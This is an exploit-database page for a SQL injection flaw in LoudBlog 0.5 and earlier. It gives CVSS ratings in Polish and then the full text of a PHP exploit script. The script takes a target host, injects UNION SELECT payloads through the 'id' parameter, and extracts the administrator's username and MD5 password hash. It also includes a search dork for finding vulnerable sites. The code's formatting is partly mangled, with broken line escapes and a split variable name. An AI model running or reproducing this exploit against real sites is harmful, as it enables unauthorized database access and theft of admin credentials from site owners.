LoudBlog <=0.5 Sql injection

2006.07.26
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-Other


Ogólna skala CVSS: 7.5/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

#!/usr/bin/php -q -d short_open_tag=on <? echo "LoudBlog <= 0.5 'id' SQL injection / admin credentials disclosurern"; echo "by rgod rgod (at) autistici (dot) org [email concealed]rn"; echo "site: http://retrogod.altervista.orgrn"; echo "a dork: "Powered by LoudBlog"rnrn"; /* works regardless of magic_quotes_gpc settings */ if ($argc<3) { echo "Usage: php ".$argv[0]." host path OPTIONSrn"; echo "host: target server (ip/hostname)rn"; echo "path: path to LoudBlogrn"; echo "Options:rn"; echo " -T[prefix] specify a table prefix different from 'lb_'rn"; echo " -p[port]: specify a port other than 80rn"; echo " -P[ip:port]: specify a proxyrn"; echo "Example:rn"; echo "php ".$argv[0]." localhost /loudblog/ rn"; die; } error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";} } return $exa."rn".$result; } $proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "rn".$html; } function is_hash($hash) { if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;} else {return false;} } $host=$argv[1]; $path=$argv[2]; $port=80; $prefix="lb_"; $proxy=""; for ($i=3; $i<=$argc-1; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } if ($temp=="-T") { $prefix=str_replace("-T","",$argv[$i]); } } if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $zeros=array(",0,0,0,0", //<- this the one I tested, may change in other versions ",0,0,0", ",0,0", ",0", ",0,0,0,0,0", ",0,0,0,0,0,0", ",0,0,0,0,0,0,0"); for ($i=0; $i<count($zeros); $i++) { $sql="'UNION/**/SELECT/**/0,0,CONCAT('*_u_*',nickname,'*_u_*'),'2005-03- 29 16:32:42',0,0,0,0,0,0,CONCAT('*_p_*',password,'*_p_*'),0,0,0,0,0,0,0".$z eros[$i]."/**/FROM/**/".$prefix."authors/**/WHERE/**/id=1/*"; //debug //echo "sql -> ".$sql."rn"; $sql=urlencode($sql); $packet ="GET ".$p."index.php?id=$sql HTTP/1.0rn"; $packet.="Host: ".$host."rn"; $packet.="Cookie: ".$cookie."rn"; $packet.="Connection: Closernrn"; sendpacketii($packet); $temp=explode("*_p_*",$html); $hash=$temp[1]; if (is_hash($hash)) { echo "-------------------------------------------------------rn"; echo "password (md5) -> ".$hash."rn"; $temp=explode("*_u_*",$html); echo "admin -> ".$temp[1]."rn"; echo "-------------------------------------------------------rn"; die; } } //if you are here... echo "exploit failed..."; ?> #original url: http://retrogod.altervista.org/loudblog_05_sql.html


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